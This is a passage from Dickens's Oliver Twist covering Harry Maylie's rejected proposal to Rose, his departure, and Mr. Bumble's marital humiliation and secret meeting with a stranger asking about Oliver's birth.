OLIVER'S ADVENTURE; AND A +CONVERSATION OF SOME IMPORTANCE BETWEEN HARRY MAYLIE AND ROSE + +When the inmates of the house, attracted by Oliver's cries, +hurried to the spot from which they proceeded, they found him, +pale and agitated, pointing in the direction of the meadows +behind the house, and scarcely able to articulate the words, 'The +Jew! the Jew!' + +Mr. Giles was at a loss to comprehend what this outcry meant; but +Harry Maylie, whose perceptions were something quicker, and who +had heard Oliver's history from his mother, understood it at +once. + +'What direction did he take?' he asked, catching up a heavy stick +which was standing in a corner. + +'That,' replied Oliver, pointing out the course the man had +taken; 'I missed them in an instant.' + +'Then, they are in the ditch!' said Harry. 'Follow! And keep as +near me, as you can.' So saying, he sprang over the hedge, and +darted off with a speed which rendered it matter of exceeding +difficulty for the others to keep near him. + +Giles followed as well as he could; and Oliver followed too; and +in the course of a minute or two, Mr. Losberne, who had been out +walking, and just then returned, tumbled over the hedge after +them, and picking himself up with more agility than he could have +been supposed to possess, struck into the same course at no +contemptible speed, shouting all the while, most prodigiously, to +know what was the matter. + +On they all went; nor stopped they once to breathe, until the +leader, striking off into an angle of the field indicated by +Oliver, began to search, narrowly, the ditch and hedge adjoining; +which afforded time for the remainder of the party to come up; +and for Oliver to communicate to Mr. Losberne the circumstances +that had led to so vigorous a pursuit. + +The search was all in vain. There were not even the traces of +recent footsteps, to be seen. They stood now, on the summit of a +little hill, commanding the open fields in every direction for +three or four miles. There was the village in the hollow on the +left; but, in order to gain that, after pursuing the track Oliver +had pointed out, the men must have made a circuit of open ground, +which it was impossible they could have accomplished in so short +a time. A thick wood skirted the meadow-land in another +direction; but they could not have gained that covert for the +same reason. + +'It must have been a dream, Oliver,' said Harry Maylie. + +'Oh no, indeed, sir,' replied Oliver, shuddering at the very +recollection of the old wretch's countenance; 'I saw him too +plainly for that. I saw them both, as plainly as I see you now.' + +'Who was the other?' inquired Harry and Mr. Losberne, together. + +'The very same man I told you of, who came so suddenly upon me at +the inn,' said Oliver. 'We had our eyes fixed full upon each +other; and I could swear to him.' + +'They took this way?' demanded Harry: 'are you sure?' + +'As I am that the men were at the window,' replied Oliver, +pointing down, as he spoke, to the hedge which divided the +cottage-garden from the meadow. 'The tall man leaped over, just +there; and the Jew, running a few paces to the right, crept +through that gap.' + +The two gentlemen watched Oliver's earnest face, as he spoke, and +looking from him to each other, seemed to feel satisfied of the +accuracy of what he said. Still, in no direction were there any +appearances of the trampling of men in hurried flight. The grass +was long; but it was trodden down nowhere, save where their own +feet had crushed it. The sides and brinks of the ditches were of +damp clay; but in no one place could they discern the print of +men's shoes, or the slightest mark which would indicate that any +feet had pressed the ground for hours before. + +'This is strange!' said Harry. + +'Strange?' echoed the doctor. 'Blathers and Duff, themselves, +could make nothing of it.' + +Notwithstanding the evidently useless nature of their search, +they did not desist until the coming on of night rendered its +further prosecution hopeless; and even then, they gave it up with +reluctance. Giles was dispatched to the different ale-houses in +the village, furnished with the best description Oliver could +give of the appearance and dress of the strangers. Of these, the +Jew was, at all events, sufficiently remarkable to be remembered, +supposing he had been seen drinking, or loitering about; but +Giles returned without any intelligence, calculated to dispel or +lessen the mystery. + +On the next day, fresh search was made, and the inquiries +renewed; but with no better success. On the day following, +Oliver and Mr. Maylie repaired to the market-town, in the hope of +seeing or hearing something of the men there; but this effort was +equally fruitless. After a few days, the affair began to be +forgotten, as most affairs are, when wonder, having no fresh food +to support it, dies away of itself. + +Meanwhile, Rose was rapidly recovering. She had left her room: +was able to go out; and mixing once more with the family, carried +joy into the hearts of all. + +But, although this happy change had a visible effect on the +little circle; and although cheerful voices and merry laughter +were once more heard in the cottage; there was at times, an +unwonted restraint upon some there: even upon Rose herself: +which Oliver could not fail to remark. Mrs. Maylie and her son +were often closeted together for a long time; and more than once +Rose appeared with traces of tears upon her face. After Mr. +Losberne had fixed a day for his departure to Chertsey, these +symptoms increased; and it became evident that something was in +progress which affected the peace of the young lady, and of +somebody else besides. + +At length, one morning, when Rose was alone in the +breakfast-parlour, Harry Maylie entered; and, with some +hesitation, begged permission to speak with her for a few +moments. + +'A few--a very few--will suffice, Rose,' said the young man, +drawing his chair towards her. 'What I shall have to say, has +already presented itself to your mind; the most cherished hopes +of my heart are not unknown to you, though from my lips you have +not heard them stated.' + +Rose had been very pale from the moment of his entrance; but that +might have been the effect of her recent illness. She merely +bowed; and bending over some plants that stood near, waited in +silence for him to proceed. + +'I--I--ought to have left here, before,' said Harry. + +'You should, indeed,' replied Rose. 'Forgive me for saying so, +but I wish you had.' + +'I was brought here, by the most dreadful and agonising of all +apprehensions,' said the young man; 'the fear of losing the one +dear being on whom my every wish and hope are fixed. You had +been dying; trembling between earth and heaven. We know that +when the young, the beautiful, and good, are visited with +sickness, their pure spirits insensibly turn towards their bright +home of lasting rest; we know, Heaven help us! that the best and +fairest of our kind, too often fade in blooming.' + +There were tears in the eyes of the gentle girl, as these words +were spoken; and when one fell upon the flower over which she +bent, and glistened brightly in its cup, making it more +beautiful, it seemed as though the outpouring of her fresh young +heart, claimed kindred naturally, with the loveliest things in +nature. + +'A creature,' continued the young man, passionately, 'a creature +as fair and innocent of guile as one of God's own angels, +fluttered between life and death. Oh! who could hope, when the +distant world to which she was akin, half opened to her view, +that she would return to the sorrow and calamity of this! Rose, +Rose, to know that you were passing away like some soft shadow, +which a light from above, casts upon the earth; to have no hope +that you would be spared to those who linger here; hardly to know +a reason why you should be; to feel that you belonged to that +bright sphere whither so many of the fairest and the best have +winged their early flight; and yet to pray, amid all these +consolations, that you might be restored to those who loved +you--these were distractions almost too great to bear. They were +mine, by day and night; and with them, came such a rushing +torrent of fears, and apprehensions, and selfish regrets, lest +you should die, and never know how devotedly I loved you, as +almost bore down sense and reason in its course. You recovered. +Day by day, and almost hour by hour, some drop of health came +back, and mingling with the spent and feeble stream of life which +circulated languidly within you, swelled it again to a high and +rushing tide. I have watched you change almost from death, to +life, with eyes that turned blind with their eagerness and deep +affection. Do not tell me that you wish I had lost this; for it +has softened my heart to all mankind.' + +'I did not mean that,' said Rose, weeping; 'I only wish you had +left here, that you might have turned to high and noble pursuits +again; to pursuits well worthy of you.' + +'There is no pursuit more worthy of me: more worthy of the +highest nature that exists: than the struggle to win such a +heart as yours,' said the young man, taking her hand. 'Rose, my +own dear Rose! For years--for years--I have loved you; hoping to +win my way to fame, and then come proudly home and tell you it +had been pursued only for you to share; thinking, in my +daydreams, how I would remind you, in that happy moment, of the +many silent tokens I had given of a boy's attachment, and claim +your hand, as in redemption of some old mute contract that had +been sealed between us! That time has not arrived; but here, +with not fame won, and no young vision realised, I offer you the +heart so long your own, and stake my all upon the words with +which you greet the offer.' + +'Your behaviour has ever been kind and noble.' said Rose, +mastering the emotions by which she was agitated. 'As you +believe that I am not insensible or ungrateful, so hear my +answer.' + +'It is, that I may endeavour to deserve you; it is, dear Rose?' + +'It is,' replied Rose, 'that you must endeavour to forget me; not +as your old and dearly-attached companion, for that would wound +me deeply; but, as the object of your love. Look into the world; +think how many hearts you would be proud to gain, are there. +Confide some other passion to me, if you will; I will be the +truest, warmest, and most faithful friend you have.' + +There was a pause, during which, Rose, who had covered her face +with one hand, gave free vent to her tears. Harry still retained +the other. + +'And your reasons, Rose,' he said, at length, in a low voice; +'your reasons for this decision?' + +'You have a right to know them,' rejoined Rose. 'You can say +nothing to alter my resolution. It is a duty that I must +perform. I owe it, alike to others, and to myself.' + +'To yourself?' + +'Yes, Harry. I owe it to myself, that I, a friendless, +portionless, girl, with a blight upon my name, should not give +your friends reason to suspect that I had sordidly yielded to +your first passion, and fastened myself, a clog, on all your +hopes and projects. I owe it to you and yours, to prevent you +from opposing, in the warmth of your generous nature, this great +obstacle to your progress in the world.' + +'If your inclinations chime with your sense of duty--' Harry +began. + +'They do not,' replied Rose, colouring deeply. + +'Then you return my love?' said Harry. 'Say but that, dear Rose; +say but that; and soften the bitterness of this hard +disappointment!' + +'If I could have done so, without doing heavy wrong to him I +loved,' rejoined Rose, 'I could have--' + +'Have received this declaration very differently?' said Harry. +'Do not conceal that from me, at least, Rose.' + +'I could,' said Rose. 'Stay!' she added, disengaging her hand, +'why should we prolong this painful interview? Most painful to +me, and yet productive of lasting happiness, notwithstanding; for +it _will_ be happiness to know that I once held the high place in +your regard which I now occupy, and every triumph you achieve in +life will animate me with new fortitude and firmness. Farewell, +Harry! As we have met to-day, we meet no more; but in other +relations than those in which this conversation have placed us, +we may be long and happily entwined; and may every blessing that +the prayers of a true and earnest heart can call down from the +source of all truth and sincerity, cheer and prosper you!' + +'Another word, Rose,' said Harry. 'Your reason in your own +words. From your own lips, let me hear it!' + +'The prospect before you,' answered Rose, firmly, 'is a brilliant +one. All the honours to which great talents and powerful +connections can help men in public life, are in store for you. +But those connections are proud; and I will neither mingle with +such as may hold in scorn the mother who gave me life; nor bring +disgrace or failure on the son of her who has so well supplied +that mother's place. In a word,' said the young lady, turning +away, as her temporary firmness forsook her, 'there is a stain +upon my name, which the world visits on innocent heads. I will +carry it into no blood but my own; and the reproach shall rest +alone on me.' + +'One word more, Rose. Dearest Rose! one more!' cried Harry, +throwing himself before her. 'If I had been less--less +fortunate, the world would call it--if some obscure and peaceful +life had been my destiny--if I had been poor, sick, +helpless--would you have turned from me then? Or has my probable +advancement to riches and honour, given this scruple birth?' + +'Do not press me to reply,' answered Rose. 'The question does +not arise, and never will. It is unfair, almost unkind, to urge +it.' + +'If your answer be what I almost dare to hope it is,' retorted +Harry, 'it will shed a gleam of happiness upon my lonely way, and +light the path before me. It is not an idle thing to do so much, +by the utterance of a few brief words, for one who loves you +beyond all else. Oh, Rose: in the name of my ardent and enduring +attachment; in the name of all I have suffered for you, and all +you doom me to undergo; answer me this one question!' + +'Then, if your lot had been differently cast,' rejoined Rose; 'if +you had been even a little, but not so far, above me; if I could +have been a help and comfort to you in any humble scene of peace +and retirement, and not a blot and drawback in ambitious and +distinguished crowds; I should have been spared this trial. I +have every reason to be happy, very happy, now; but then, Harry, +I own I should have been happier.' + +Busy recollections of old hopes, cherished as a girl, long ago, +crowded into the mind of Rose, while making this avowal; but they +brought tears with them, as old hopes will when they come back +withered; and they relieved her. + +'I cannot help this weakness, and it makes my purpose stronger,' +said Rose, extending her hand. 'I must leave you now, indeed.' + +'I ask one promise,' said Harry. 'Once, and only once more,--say +within a year, but it may be much sooner,--I may speak to you +again on this subject, for the last time.' + +'Not to press me to alter my right determination,' replied Rose, +with a melancholy smile; 'it will be useless.' + +'No,' said Harry; 'to hear you repeat it, if you will--finally +repeat it! I will lay at your feet, whatever of station of +fortune I may possess; and if you still adhere to your present +resolution, will not seek, by word or act, to change it.' + +'Then let it be so,' rejoined Rose; 'it is but one pang the more, +and by that time I may be enabled to bear it better.' + +She extended her hand again. But the young man caught her to his +bosom; and imprinting one kiss on her beautiful forehead, hurried +from the room. + + + + +CHAPTER XXXVI + +IS A VERY SHORT ONE, AND MAY APPEAR OF NO GREAT IMPORTANCE IN ITS +PLACE, BUT IT SHOULD BE READ NOTWITHSTANDING, AS A SEQUEL TO THE +LAST, AND A KEY TO ONE THAT WILL FOLLOW WHEN ITS TIME ARRIVES + +'And so you are resolved to be my travelling companion this +morning; eh?' said the doctor, as Harry Maylie joined him and +Oliver at the breakfast-table. 'Why, you are not in the same +mind or intention two half-hours together!' + +'You will tell me a different tale one of these days,' said +Harry, colouring without any perceptible reason. + +'I hope I may have good cause to do so,' replied Mr. Losberne; +'though I confess I don't think I shall. But yesterday morning +you had made up your mind, in a great hurry, to stay here, and to +accompany your mother, like a dutiful son, to the sea-side. +Before noon, you announce that you are going to do me the honour +of accompanying me as far as I go, on your road to London. And +at night, you urge me, with great mystery, to start before the +ladies are stirring; the consequence of which is, that young +Oliver here is pinned down to his breakfast when he ought to be +ranging the meadows after botanical phenomena of all kinds. Too +bad, isn't it, Oliver?' + +'I should have been very sorry not to have been at home when you +and Mr. Maylie went away, sir,' rejoined Oliver. + +'That's a fine fellow,' said the doctor; 'you shall come and see +me when you return. But, to speak seriously, Harry; has any +communication from the great nobs produced this sudden anxiety on +your part to be gone?' + +'The great nobs,' replied Harry, 'under which designation, I +presume, you include my most stately uncle, have not communicated +with me at all, since I have been here; nor, at this time of the +year, is it likely that anything would occur to render necessary +my immediate attendance among them.' + +'Well,' said the doctor, 'you are a queer fellow. But of course +they will get you into parliament at the election before +Christmas, and these sudden shiftings and changes are no bad +preparation for political life. There's something in that. Good +training is always desirable, whether the race be for place, cup, +or sweepstakes.' + +Harry Maylie looked as if he could have followed up this short +dialogue by one or two remarks that would have staggered the +doctor not a little; but he contented himself with saying, 'We +shall see,' and pursued the subject no farther. The post-chaise +drove up to the door shortly afterwards; and Giles coming in for +the luggage, the good doctor bustled out, to see it packed. + +'Oliver,' said Harry Maylie, in a low voice, 'let me speak a word +with you.' + +Oliver walked into the window-recess to which Mr. Maylie beckoned +him; much surprised at the mixture of sadness and boisterous +spirits, which his whole behaviour displayed. + +'You can write well now?' said Harry, laying his hand upon his +arm. + +'I hope so, sir,' replied Oliver. + +'I shall not be at home again, perhaps for some time; I wish you +would write to me--say once a fort-night: every alternate +Monday: to the General Post Office in London. Will you?' + +'Oh! certainly, sir; I shall be proud to do it,' exclaimed +Oliver, greatly delighted with the commission. + +'I should like to know how--how my mother and Miss Maylie are,' +said the young man; 'and you can fill up a sheet by telling me +what walks you take, and what you talk about, and whether +she--they, I mean--seem happy and quite well. You understand me?' + +'Oh! quite, sir, quite,' replied Oliver. + +'I would rather you did not mention it to them,' said Harry, +hurrying over his words; 'because it might make my mother anxious +to write to me oftener, and it is a trouble and worry to her. +Let it be a secret between you and me; and mind you tell me +everything! I depend upon you.' + +Oliver, quite elated and honoured by a sense of his importance, +faithfully promised to be secret and explicit in his +communications. Mr. Maylie took leave of him, with many +assurances of his regard and protection. + +The doctor was in the chaise; Giles (who, it had been arranged, +should be left behind) held the door open in his hand; and the +women-servants were in the garden, looking on. Harry cast one +slight glance at the latticed window, and jumped into the +carriage. + +'Drive on!' he cried, 'hard, fast, full gallop! Nothing short of +flying will keep pace with me, to-day.' + +'Halloa!' cried the doctor, letting down the front glass in a +great hurry, and shouting to the postillion; 'something very +short of flying will keep pace with _me_. Do you hear?' + +Jingling and clattering, till distance rendered its noise +inaudible, and its rapid progress only perceptible to the eye, +the vehicle wound its way along the road, almost hidden in a +cloud of dust: now wholly disappearing, and now becoming visible +again, as intervening objects, or the intricacies of the way, +permitted. It was not until even the dusty cloud was no longer +to be seen, that the gazers dispersed. + +And there was one looker-on, who remained with eyes fixed upon +the spot where the carriage had disappeared, long after it was +many miles away; for, behind the white curtain which had shrouded +her from view when Harry raised his eyes towards the window, sat +Rose herself. + +'He seems in high spirits and happy,' she said, at length. 'I +feared for a time he might be otherwise. I was mistaken. I am +very, very glad.' + +Tears are signs of gladness as well as grief; but those which +coursed down Rose's face, as she sat pensively at the window, +still gazing in the same direction, seemed to tell more of sorrow +than of joy. + + + + +CHAPTER XXXVII + +IN WHICH THE READER MAY PERCEIVE A CONTRAST, NOT UNCOMMON IN +MATRIMONIAL CASES + +Mr. Bumble sat in the workhouse parlour, with his eyes moodily +fixed on the cheerless grate, whence, as it was summer time, no +brighter gleam proceeded, than the reflection of certain sickly +rays of the sun, which were sent back from its cold and shining +surface. A paper fly-cage dangled from the ceiling, to which he +occasionally raised his eyes in gloomy thought; and, as the +heedless insects hovered round the gaudy net-work, Mr. Bumble +would heave a deep sigh, while a more gloomy shadow overspread +his countenance. Mr. Bumble was meditating; it might be that the +insects brought to mind, some painful passage in his own past +life. + +Nor was Mr. Bumble's gloom the only thing calculated to awaken a +pleasing melancholy in the bosom of a spectator. There were not +wanting other appearances, and those closely connected with his +own person, which announced that a great change had taken place +in the position of his affairs. The laced coat, and the cocked +hat; where were they? He still wore knee-breeches, and dark +cotton stockings on his nether limbs; but they were not _the_ +breeches. The coat was wide-skirted; and in that respect like +_the_ coat, but, oh how different! The mighty cocked hat was +replaced by a modest round one. Mr. Bumble was no longer a +beadle. + +There are some promotions in life, which, independent of the more +substantial rewards they offer, require peculiar value and +dignity from the coats and waistcoats connected with them. A +field-marshal has his uniform; a bishop his silk apron; a +counsellor his silk gown; a beadle his cocked hat. Strip the +bishop of his apron, or the beadle of his hat and lace; what are +they? Men. Mere men. Dignity, and even holiness too, +sometimes, are more questions of coat and waistcoat than some +people imagine. + +Mr. Bumble had married Mrs. Corney, and was master of the +workhouse. Another beadle had come into power. On him the +cocked hat, gold-laced coat, and staff, had all three descended. + +'And to-morrow two months it was done!' said Mr. Bumble, with a +sigh. 'It seems a age.' + +Mr. Bumble might have meant that he had concentrated a whole +existence of happiness into the short space of eight weeks; but +the sigh--there was a vast deal of meaning in the sigh. + +'I sold myself,' said Mr. Bumble, pursuing the same train of +relection, 'for six teaspoons, a pair of sugar-tongs, and a +milk-pot; with a small quantity of second-hand furniture, and +twenty pound in money. I went very reasonable. Cheap, dirt +cheap!' + +'Cheap!' cried a shrill voice in Mr. Bumble's ear: 'you would +have been dear at any price; and dear enough I paid for you, Lord +above knows that!' + +Mr. Bumble turned, and encountered the face of his interesting +consort, who, imperfectly comprehending the few words she had +overheard of his complaint, had hazarded the foregoing remark at +a venture. + +'Mrs. Bumble, ma'am!' said Mr. Bumble, with a sentimental +sternness. + +'Well!' cried the lady. + +'Have the goodness to look at me,' said Mr. Bumble, fixing his +eyes upon her. (If she stands such a eye as that,' said Mr. +Bumble to himself, 'she can stand anything. It is a eye I never +knew to fail with paupers. If it fails with her, my power is +gone.') + +Whether an exceedingly small expansion of eye be sufficient to +quell paupers, who, being lightly fed, are in no very high +condition; or whether the late Mrs. Corney was particularly proof +against eagle glances; are matters of opinion. The matter of +fact, is, that the matron was in no way overpowered by Mr. +Bumble's scowl, but, on the contrary, treated it with great +disdain, and even raised a laugh thereat, which sounded as +though it were genuine. + +On hearing this most unexpected sound, Mr. Bumble looked, first +incredulous, and afterwards amazed. He then relapsed into his +former state; nor did he rouse himself until his attention was +again awakened by the voice of his partner. + +'Are you going to sit snoring there, all day?' inquired Mrs. +Bumble. + +'I am going to sit here, as long as I think proper, ma'am,' +rejoined Mr. Bumble; 'and although I was _not_ snoring, I shall +snore, gape, sneeze, laugh, or cry, as the humour strikes me; +such being my prerogative.' + +'_Your_ prerogative!' sneered Mrs. Bumble, with ineffable contempt. + +'I said the word, ma'am,' said Mr. Bumble. 'The prerogative of a +man is to command.' + +'And what's the prerogative of a woman, in the name of Goodness?' +cried the relict of Mr. Corney deceased. + +'To obey, ma'am,' thundered Mr. Bumble. 'Your late unfortunate +husband should have taught it you; and then, perhaps, he might +have been alive now. I wish he was, poor man!' + +Mrs. Bumble, seeing at a glance, that the decisive moment had now +arrived, and that a blow struck for the mastership on one side or +other, must necessarily be final and conclusive, no sooner heard +this allusion to the dead and gone, than she dropped into a +chair, and with a loud scream that Mr. Bumble was a hard-hearted +brute, fell into a paroxysm of tears. + +But, tears were not the things to find their way to Mr. Bumble's +soul; his heart was waterproof. Like washable beaver hats that +improve with rain, his nerves were rendered stouter and more +vigorous, by showers of tears, which, being tokens of weakness, +and so far tacit admissions of his own power, pleased and exalted +him. He eyed his good lady with looks of great satisfaction, and +begged, in an encouraging manner, that she should cry her +hardest: the exercise being looked upon, by the faculty, as +strongly conducive to health. + +'It opens the lungs, washes the countenance, exercises the eyes, +and softens down the temper,' said Mr. Bumble. 'So cry away.' + +As he discharged himself of this pleasantry, Mr. Bumble took his +hat from a peg, and putting it on, rather rakishly, on one side, +as a man might, who felt he had asserted his superiority in a +becoming manner, thrust his hands into his pockets, and sauntered +towards the door, with much ease and waggishness depicted in his +whole appearance. + +Now, Mrs. Corney that was, had tried the tears, because they were +less troublesome than a manual assault; but, she was quite +prepared to make trial of the latter mode of proceeding, as Mr. +Bumble was not long in discovering. + +The first proof he experienced of the fact, was conveyed in a +hollow sound, immediately succeeded by the sudden flying off of +his hat to the opposite end of the room. This preliminary +proceeding laying bare his head, the expert lady, clasping him +tightly round the throat with one hand, inflicted a shower of +blows (dealt with singular vigour and dexterity) upon it with the +other. This done, she created a little variety by scratching his +face, and tearing his hair; and, having, by this time, inflicted +as much punishment as she deemed necessary for the offence, she +pushed him over a chair, which was luckily well situated for the +purpose: and defied him to talk about his prerogative again, if +he dared. + +'Get up!' said Mrs. Bumble, in a voice of command. 'And take +yourself away from here, unless you want me to do something +desperate.' + +Mr. Bumble rose with a very rueful countenance: wondering much +what something desperate might be. Picking up his hat, he looked +towards the door. + +'Are you going?' demanded Mrs. Bumble. + +'Certainly, my dear, certainly,' rejoined Mr. Bumble, making a +quicker motion towards the door. 'I didn't intend to--I'm going, +my dear! You are so very violent, that really I--' + +At this instant, Mrs. Bumble stepped hastily forward to replace +the carpet, which had been kicked up in the scuffle. Mr. Bumble +immediately darted out of the room, without bestowing another +thought on his unfinished sentence: leaving the late Mrs. Corney +in full possession of the field. + +Mr. Bumble was fairly taken by surprise, and fairly beaten. He +had a decided propensity for bullying: derived no inconsiderable +pleasure from the exercise of petty cruelty; and, consequently, +was (it is needless to say) a coward. This is by no means a +disparagement to his character; for many official personages, who +are held in high respect and admiration, are the victims of +similar infirmities. The remark is made, indeed, rather in his +favour than otherwise, and with a view of impressing the reader +with a just sense of his qualifications for office. + +But, the measure of his degradation was not yet full. After +making a tour of the house, and thinking, for the first time, +that the poor-laws really were too hard on people; and that men +who ran away from their wives, leaving them chargeable to the +parish, ought, in justice to be visited with no punishment at +all, but rather rewarded as meritorious individuals who had +suffered much; Mr. Bumble came to a room where some of the female +paupers were usually employed in washing the parish linen: when +the sound of voices in conversation, now proceeded. + +'Hem!' said Mr. Bumble, summoning up all his native dignity. +'These women at least shall continue to respect the prerogative. +Hallo! hallo there! What do you mean by this noise, you +hussies?' + +With these words, Mr. Bumble opened the door, and walked in with +a very fierce and angry manner: which was at once exchanged for +a most humiliated and cowering air, as his eyes unexpectedly +rested on the form of his lady wife. + +'My dear,' said Mr. Bumble, 'I didn't know you were here.' + +'Didn't know I was here!' repeated Mrs. Bumble. 'What do _you_ do +here?' + +'I thought they were talking rather too much to be doing their +work properly, my dear,' replied Mr. Bumble: glancing +distractedly at a couple of old women at the wash-tub, who were +comparing notes of admiration at the workhouse-master's humility. + +'_You_ thought they were talking too much?' said Mrs. Bumble. 'What +business is it of yours?' + +'Why, my dear--' urged Mr. Bumble submissively. + +'What business is it of yours?' demanded Mrs. Bumble, again. + +'It's very true, you're matron here, my dear,' submitted Mr. +Bumble; 'but I thought you mightn't be in the way just then.' + +'I'll tell you what, Mr. Bumble,' returned his lady. 'We don't +want any of your interference. You're a great deal too fond of +poking your nose into things that don't concern you, making +everybody in the house laugh, the moment your back is turned, and +making yourself look like a fool every hour in the day. Be off; +come!' + +Mr. Bumble, seeing with excruciating feelings, the delight of the +two old paupers, who were tittering together most rapturously, +hesitated for an instant. Mrs. Bumble, whose patience brooked no +delay, caught up a bowl of soap-suds, and motioning him towards +the door, ordered him instantly to depart, on pain of receiving +the contents upon his portly person. + +What could Mr. Bumble do? He looked dejectedly round, and slunk +away; and, as he reached the door, the titterings of the paupers +broke into a shrill chuckle of irrepressible delight. It wanted +but this. He was degraded in their eyes; he had lost caste and +station before the very paupers; he had fallen from all the +height and pomp of beadleship, to the lowest depth of the most +snubbed hen-peckery. + +'All in two months!' said Mr. Bumble, filled with dismal +thoughts. 'Two months! No more than two months ago, I was not +only my own master, but everybody else's, so far as the porochial +workhouse was concerned, and now!--' + +It was too much. Mr. Bumble boxed the ears of the boy who opened +the gate for him (for he had reached the portal in his reverie); +and walked, distractedly, into the street. + +He walked up one street, and down another, until exercise had +abated the first passion of his grief; and then the revulsion of +feeling made him thirsty. He passed a great many public-houses; +but, at length paused before one in a by-way, whose parlour, as +he gathered from a hasty peep over the blinds, was deserted, save +by one solitary customer. It began to rain, heavily, at the +moment. This determined him. Mr. Bumble stepped in; and +ordering something to drink, as he passed the bar, entered the +apartment into which he had looked from the street. + +The man who was seated there, was tall and dark, and wore a large +cloak. He had the air of a stranger; and seemed, by a certain +haggardness in his look, as well as by the dusty soils on his +dress, to have travelled some distance. He eyed Bumble askance, +as he entered, but scarcely deigned to nod his head in +acknowledgment of his salutation. + +Mr. Bumble had quite dignity enough for two; supposing even that +the stranger had been more familiar: so he drank his +gin-and-water in silence, and read the paper with great show of +pomp and circumstance. + +It so happened, however: as it will happen very often, when men +fall into company under such circumstances: that Mr. Bumble +felt, every now and then, a powerful inducement, which he could +not resist, to steal a look at the stranger: and that whenever +he did so, he withdrew his eyes, in some confusion, to find that +the stranger was at that moment stealing a look at him. Mr. +Bumble's awkwardness was enhanced by the very remarkable +expression of the stranger's eye, which was keen and bright, but +shadowed by a scowl of distrust and suspicion, unlike anything he +had ever observed before, and repulsive to behold. + +When they had encountered each other's glance several times in +this way, the stranger, in a harsh, deep voice, broke silence. + +'Were you looking for me,' he said, 'when you peered in at the +window?' + +'Not that I am aware of, unless you're Mr. --' Here Mr. Bumble +stopped short; for he was curious to know the stranger's name, +and thought in his impatience, he might supply the blank. + +'I see you were not,' said the stranger; an expression of quiet +sarcasm playing about his mouth; 'or you have known my name. You +don't know it. I would recommend you not to ask for it.' + +'I meant no harm, young man,' observed Mr. Bumble, majestically. + +'And have done none,' said the stranger. + +Another silence succeeded this short dialogue: which was again +broken by the stranger. + +'I have seen you before, I think?' said he. 'You were +differently dressed at that time, and I only passed you in the +street, but I should know you again. You were beadle here, once; +were you not?' + +'I was,' said Mr. Bumble, in some surprise; 'porochial beadle.' + +'Just so,' rejoined the other, nodding his head. 'It was in that +character I saw you. What are you now?' + +'Master of the workhouse,' rejoined Mr. Bumble, slowly and +impressively, to check any undue familiarity the stranger might +otherwise assume. 'Master of the workhouse, young man!' + +'You have the same eye to your own interest, that you always had, +I doubt not?' resumed the stranger, looking keenly into Mr. +Bumble's eyes, as he raised them in astonishment at the question. + +'Don't scruple to answer freely, man. I know you pretty well, +you see.' + +'I suppose, a married man,' replied Mr. Bumble, shading his eyes +with his hand, and surveying the stranger, from head to foot, in +evident perplexity, 'is not more averse to turning an honest +penny when he can, than a single one. Porochial officers are not +so well paid that they can afford to refuse any little extra fee, +when it comes to them in a civil and proper manner.' + +The stranger smiled, and nodded his head again: as much to say, +he had not mistaken his man; then rang the bell. + +'Fill this glass again,' he said, handing Mr. Bumble's empty +tumbler to the landlord. 'Let it be strong and hot. You like it +so, I suppose?' + +'Not too strong,' replied Mr. Bumble, with a delicate cough. + +'You understand what that means, landlord!' said the stranger, +drily. + +The host smiled, disappeared, and shortly afterwards returned +with a steaming jorum: of which, the first gulp brought the water +into Mr. Bumble's eyes. + +'Now listen to me,' said the stranger, after closing the door and +window. 'I came down to this place, to-day, to find you out; +and, by one of those chances which the devil throws in the way of +his friends sometimes, you walked into the very room I was +sitting in, while you were uppermost in my mind. I want some +information from you. I don't ask you to give it for nothing, +slight as it is. Put up that, to begin with.' + +As he spoke, he pushed a couple of sovereigns across the table to +his companion, carefully, as though unwilling that the chinking +of money should be heard without. When Mr. Bumble had +scrupulously examined the coins, to see that they were genuine, +and had put them up, with much satisfaction, in his +waistcoat-pocket, he went on: + +'Carry your memory back--let me see--twelve years, last winter.' + +'It's a long time,' said Mr. Bumble. 'Very good. I've done it.' + +'The scene, the workhouse.' + +'Good!' + +'And the time, night.' + +'Yes.' + +'And the place, the crazy hole, wherever it was, in which +miserable drabs brought forth the life and health so often denied +to themselves--gave birth to puling children for the parish to +rear; and hid their shame, rot 'em in the grave!' + +'The lying-in room, I suppose?' said Mr. Bumble, not quite +following the stranger's excited description. + +'Yes,' said the stranger. 'A boy was born there.' + +'A many boys,' observed Mr. Bumble, shaking his head, +despondingly. + +'A murrain on the young devils!' cried the stranger; 'I speak of +one; a meek-looking, pale-faced boy, who was apprenticed down +here, to a coffin-maker--I wish he had made his coffin, and +screwed his body in it--and who afterwards ran away to London, as +it was supposed. + +'Why, you mean Oliver! Young Twist!' said Mr. Bumble; 'I +remember him, of course. There wasn't a obstinater young +rascal--' + +'It's not of him I want to hear; I've heard enough of him,' said +the stranger, stopping Mr. Bumble in the outset of a tirade on +the subject of poor Oliver's vices. 'It's of a woman; the hag +that nursed his mother. Where is she?' + +'Where is she?' said Mr. Bumble, whom the gin-and-water had +rendered facetious. 'It would be hard to tell. There's no +midwifery there, whichever place she's gone to; so I suppose +she's out of employment, anyway.' + +'What do you mean?' demanded the stranger, sternly. + +'That she died last winter,' rejoined Mr. Bumble. + +The man looked fixedly at him when he had given this information, +and although he did not withdraw his eyes for some time +afterwards, his gaze gradually became vacant and abstracted, and +he seemed lost in thought. For some time, he appeared doubtful +whether he ought to be relieved or disappointed by the +intelligence; but at length he breathed more freely; and +withdrawing his eyes, observed that it was no great matter. +With that he rose, as if to depart. + +But Mr. Bumble was cunning enough; and he at once saw that an +opportunity was opened, for the lucrative disposal of some secret +in the possession of his better half. He well remembered the +night of old Sally's death, which the occurrences of that day had +given him good reason to recollect, as the occasion on which he +had proposed to Mrs. Corney; and although that lady had never +confided to him the disclosure of which she had been the solitary +witness, he had heard enough to know that it related to something +that had occurred in the old woman's attendance, as workhouse +nurse, upon the young mother of Oliver Twist. Hastily calling +this circumstance to mind, he informed the stranger, with an air +of mystery, that one woman had been closeted with the old +harridan shortly before she died; and that she could, as he had +reason to believe, throw some light on the subject of his +inquiry. + +'How can I find her?' said the stranger, thrown off his guard; +and plainly showing that all his fears (whatever they were) were +aroused afresh by the intelligence. + +'Only through me,' rejoined Mr. Bumble. + +'When?' cried the stranger, hastily. + +'To-morrow,' rejoined Bumble. + +'At nine in the evening,' said the stranger, producing a scrap of +paper, and writing down upon it, an obscure address by the +water-side, in characters that betrayed his agitation; 'at nine +in the evening, bring her to me there. I needn't tell you to be +secret. It's your interest.' + +With these words, he led the way to the door, after stopping to +pay for the liquor that had been drunk. 